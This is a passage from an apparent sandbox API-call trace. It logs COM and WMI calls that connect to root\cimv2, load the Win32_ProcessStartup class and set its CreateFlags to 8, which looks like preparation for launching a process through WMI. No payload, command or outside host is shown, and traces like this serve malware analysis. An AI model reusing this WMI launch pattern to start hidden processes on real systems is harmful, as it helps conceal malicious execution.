riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc417c0) returned 0x0 [0135.295] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc417c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc36a80) returned 0x0 [0135.435] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36a80, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc420e0) returned 0x0 [0135.436] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc420e0, pProxy=0x1bc36a80, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0135.436] WbemLocator:IUnknown:Release (This=0x1bc420e0) returned 0x1 [0135.436] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36a80, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc42120) returned 0x0 [0135.436] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36a80, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc420e0) returned 0x0 [0135.436] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc420e0, pProxy=0x1bc36a80, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0135.436] WbemLocator:IUnknown:Release (This=0x1bc420e0) returned 0x2 [0135.436] WbemLocator:IUnknown:Release (This=0x1bc42120) returned 0x1 [0135.436] CoTaskMemFree (pv=0x1bc1bf20) [0135.436] WbemLocator:IUnknown:AddRef (This=0x1bc36a80) returned 0x2 [0135.436] WbemLocator:IUnknown:Release (This=0x1bc417c0) returned 0x0 [0135.437] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0135.437] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0135.437] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36a80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc420f0) returned 0x0 [0135.437] WbemLocator:IRpcOptions:Query (in: This=0x1bc420f0, pPrx=0x1bc41820, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0135.437] WbemLocator:IUnknown:Release (This=0x1bc420f0) returned 0x2 [0135.437] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0135.437] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0135.437] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36a80, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc36a80) returned 0x0 [0135.437] WbemLocator:IUnknown:Release (This=0x1bc36a80) returned 0x2 [0135.438] SysStringLen (param_1=0x0) returned 0x0 [0135.438] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f080, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0135.438] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f080, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0135.438] IWbemServices:GetObject (in: This=0x1bc36a80, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bc2a550, ppCallResult=0x0) returned 0x0 [0135.440] IWbemClassObject:Get (in: This=0x1bc2a550, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0135.440] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0135.440] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0135.440] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0135.440] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0135.440] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0135.440] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.442] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc417c0) returned 0x0 [0135.442] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc417c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0135.442] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc417c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc3f200) returned 0x0 [0135.443] WbemDefPath:IUnknown:Release (This=0x1bc417c0) returned 0x0 [0135.443] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f200, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc3f200) returned 0x0 [0135.443] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f200, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0135.443] WbemDefPath:IUnknown:AddRef (This=0x1bc3f200) returned 0x3 [0135.443] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f200, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0135.443] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f200, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0135.443] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f200, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc417e0) returned 0x0 [0135.443] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc417e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.443] WbemDefPath:IUnknown:Release (This=0x1bc417e0) returned 0x3 [0135.443] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0135.443] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0135.443] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f200, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0135.444] WbemDefPath:IUnknown:Release (This=0x1bc3f200) returned 0x2 [0135.444] WbemDefPath:IUnknown:Release (This=0x1bc3f200) returned 0x1 [0135.444] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0135.444] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0135.444] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f200, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc3f200) returned 0x0 [0135.444] WbemDefPath:IUnknown:AddRef (This=0x1bc3f200) returned 0x3 [0135.444] WbemDefPath:IUnknown:Release (This=0x1bc3f200) returned 0x2 [0135.444] WbemDefPath:IWbemPath:SetText (This=0x1bc3f200, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0135.444] IWbemClassObject:Get (in: This=0x1bc2a550, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2870018*=0, plFlavor=0x287001c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2870018*=19, plFlavor=0x287001c*=0) returned 0x0 [0135.444] IWbemClassObject:Get (in: This=0x1bc2a550, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2870018*=19, plFlavor=0x287001c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2870018*=19, plFlavor=0x287001c*=0) returned 0x0 [0135.445] IWbemClassObject:Put (This=0x1bc2a550, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0135.445] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3efc0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0135.445] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0135.445] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0135.445] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.445] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0135.445] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0135.445] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0135.445] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.447] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc582e0) returned 0x0 [0135.447] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc582e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0135.447] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc582e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc3f2c0) returned 0x0 [0135.447] WbemDefPath:IUnknown:Release (This=0x1bc582e0) returned 0x0 [0135.447] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f2c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc3f2c0) returned 0x0 [0135.447] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f2c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0135.448] WbemDefPath:IUnknown:AddRef (This=0x1bc3f2c0) returned 0x3 [0135.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f2c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0135.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f2c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0135.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f2c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc58320) returned 0x0 [0135.448] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58320, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.448] WbemDefPath:IUnknown:Release (This=0x1bc58320) returned 0x3 [0135.448] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0135.448] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0135.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f2c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0135.448] WbemDefPath:IUnknown:Release (This=0x1bc3f2c0) returned 0x2 [0135.448] WbemDefPath:IUnknown:Release (This=0x1bc3f2c0) returned 0x1 [0135.448] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0135.448] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0135.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f2c0, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc3f2c0) returned 0x0 [0135.449] WbemDefPath:IUnknown:AddRef (This=0x1bc3f2c0) returned 0x3 [0135.449] WbemDefPath:IUnknown:Release (This=0x1bc3f2c0) returned 0x2 [0135.449] WbemDefPath:IWbemPath:SetText (This=0x1bc3f2c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0135.449] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0135.449] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0135.449] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.449] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0135.449] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0135.449] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0135.449] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.450] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc58420) returned 0x0 [0135.450] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58420, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0135.450] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc58420, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc58440) returned 0x0 [0135.450] WbemLocator:IUnknown:Release (This=0x1bc58420) returned 0x0 [0135.450] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58440, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc58440) returned 0x0 [0135.450] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58440, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0135.451] WbemLocator:IUnknown:AddRef (This=0x1bc58440) returned 0x3 [0135.451] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58440, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0135.451] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58440, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0135.451] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58440, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0135.451] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0135.451] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0135.451] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58440, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0135.451] WbemLocator:IUnknown:Release (This=0x1bc58440) returned 0x2 [0135.451] WbemLocator:IUnknown:Release (This=0x1bc58440) returned 0x1 [0135.451] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0135.451] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0135.451] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc58440, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc58440) returned 0x0 [0135.451] WbemLocator:IUnknown:AddRef (This=0x1bc58440) returned 0x3 [0135.451] WbemLocator:IUnknown:Release (This=0x1bc58440) returned 0x2 [0135.451] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0135.451] 